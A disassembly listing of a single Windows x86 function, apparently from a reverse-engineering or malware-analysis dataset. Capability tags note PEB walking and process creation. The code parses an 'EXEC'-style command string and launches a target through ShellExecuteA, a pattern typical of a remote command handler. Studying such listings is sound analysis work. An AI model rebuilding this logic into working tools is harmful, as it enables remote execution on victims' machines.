Function at 0x4031e0
Capabilities:
Access peb ldr_data
Create process on windows
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x411bd0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
mov eax, dword [0x41ac08]
push ebx
push esi
mov dword [esp + 0x1c], ecx
push edi
mov ecx, 0x41ac08
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0xc], eax
mov edx, dword [0x41ac08]
xor ebx, ebx
mov ecx, 0x41ac08
mov dword [esp + 0x30], ebx
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x14], eax
mov eax, dword [0x41ac08]
mov ecx, 0x41ac08
mov byte [esp + 0x30], 1
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x18], eax
mov edx, dword [0x41ac08]
mov ecx, 0x41ac08
mov byte [esp + 0x30], 2
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push eax
push 0x413334
lea ecx, [esp + 0x2c]
push ecx
mov ecx, dword [esp + 0x44]
mov byte [esp + 0x3c], 3
mov dword [esp + 0x28], ebx
call fcn.00401dd0
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x34], 4
call fcn.00402ab0
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov byte [esp + 0x30], 3
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4032b4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov esi, dword [esp + 0xc]
push 0x413285
push esi
call fcn.00409c3e
add esp, 8
test eax, eax
je 0x4034db
push ebp
nop
mov eax, ebx
sub eax, 0
je 0x4033b0
dec eax
je 0x40335c
dec eax
je 0x4032fe
mov eax, dword [esp + 0x1c]
push esi
push eax
lea ecx, [esp + 0x24]
push str._s__s
push ecx
call fcn.00402a90
add esp, 0x10
jmp 0x4033b0
mov edi, dword [esp + 0x18]
lea eax, [esi - 0x10]
add edi, 0xfffffff0
cmp eax, edi
je 0x403355
mov ecx, dword [edi + 0xc]
test ecx, ecx
lea ebp, [edi + 0xc]
jge 0x40332e
mov eax, dword [esi - 0xc]
push eax
push esi
lea ecx, [esp + 0x20]
call fcn.004013e0
mov ebx, 3
jmp 0x4033b0
push eax
call fcn.00401270
add esp, 4
mov ebx, eax
or edx, 0xffffffff
lock xadd dword [ebp], edx
dec edx
test edx, edx
jg 0x40334e
mov ecx, dword [edi]
mov eax, dword [ecx]
push edi
call dword [eax + 4]
add ebx, 0x10
mov dword [esp + 0x18], ebx
mov ebx, 3
jmp 0x4033b0
mov edi, dword [esp + 0x14]
lea eax, [esi - 0x10]
add edi, 0xfffffff0
cmp eax, edi
je 0x4033ab
mov ecx, dword [edi + 0xc]
test ecx, ecx
lea ebp, [edi + 0xc]
jge 0x403384
mov eax, dword [esi - 0xc]
push eax
push esi
lea ecx, [esp + 0x1c]
call fcn.004013e0
jmp 0x4033ab
push eax
call fcn.00401270
add esp, 4
mov ebx, eax
or ecx, 0xffffffff
lock xadd dword [ebp], ecx
dec ecx
test ecx, ecx
jg 0x4033a4
mov ecx, dword [edi]
mov edx, dword [ecx]
push edi
call dword [edx + 4]
add ebx, 0x10
mov dword [esp + 0x14], ebx
mov ebx, 2
mov eax, dword [esi - 4]
mov edi, dword [esi - 0xc]
mov ecx, 1
sub ecx, eax
mov eax, dword [esi - 8]
sub eax, edi
or eax, ecx
jge 0x4033d4
push edi
lea ecx, [esp + 0x14]
call fcn.004012d0
mov esi, dword [esp + 0x10]
push esi
call fcn.0040a22d
push str._EXEC
mov dword [esi - 0xc], edi
push esi
mov byte [edi + esi], 0
call fcn.00409c3e
add esp, 0xc
test eax, eax
jne 0x4033fc
test ebx, ebx
jne 0x4033fc
mov ebx, 1
lea eax, [esp + 0x20]
push eax
push 0x413334
lea ecx, [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x48]
call fcn.00401dd0
mov eax, dword [eax]
lea ecx, [eax - 0x10]
lea edi, [esi - 0x10]
cmp ecx, edi
mov byte [esp + 0x34], 5
je 0x403469
mov edx, dword [edi + 0xc]
test edx, edx
lea esi, [edi + 0xc]
jge 0x403443
mov ecx, dword [eax - 0xc]
push ecx
push eax
lea ecx, [esp + 0x18]
call fcn.004013e0
mov esi, dword [esp + 0x10]
jmp 0x403469
push ecx
call fcn.00401270
add esp, 4
mov ebp, eax
or edx, 0xffffffff
lock xadd dword [esi], edx
dec edx
test edx, edx
jg 0x403462
mov ecx, dword [edi]
mov eax, dword [ecx]
push edi
call dword [eax + 4]
lea esi, [ebp + 0x10]
mov dword [esp + 0x10], esi
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
mov byte [esp + 0x34], 3
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40348c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
push 0x413285
push esi
call fcn.00409c3e
add esp, 8
test eax, eax
jne 0x4032d0
cmp ebx, 2
pop ebp
jle 0x4034db
mov ecx, dword [esp + 0x14]
push 1
push eax
mov eax, dword [esp + 0x20]
push eax
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [esp + 0x10]
mov edi, dword [esp + 0x38]
push edx
push str._SI__s
push edi
call fcn.00402a90
add esp, 0xc
jmp 0x4034fd
mov eax, 0x413285
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4034e3
mov edi, dword [esp + 0x38]
sub eax, edx
push eax
push 0x413285
mov ecx, edi
call fcn.004013e0
mov ecx, dword [esp + 0x20]
push edi
call fcn.00402d10
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
mov byte [esp + 0x30], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40352a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov byte [esp + 0x30], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40354d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x30], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403570
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [esi - 0x10]
mov dword [esp + 0x30], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
pop edi
pop esi
pop ebx
jg 0x403595
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
add esp, 0x28
ret 4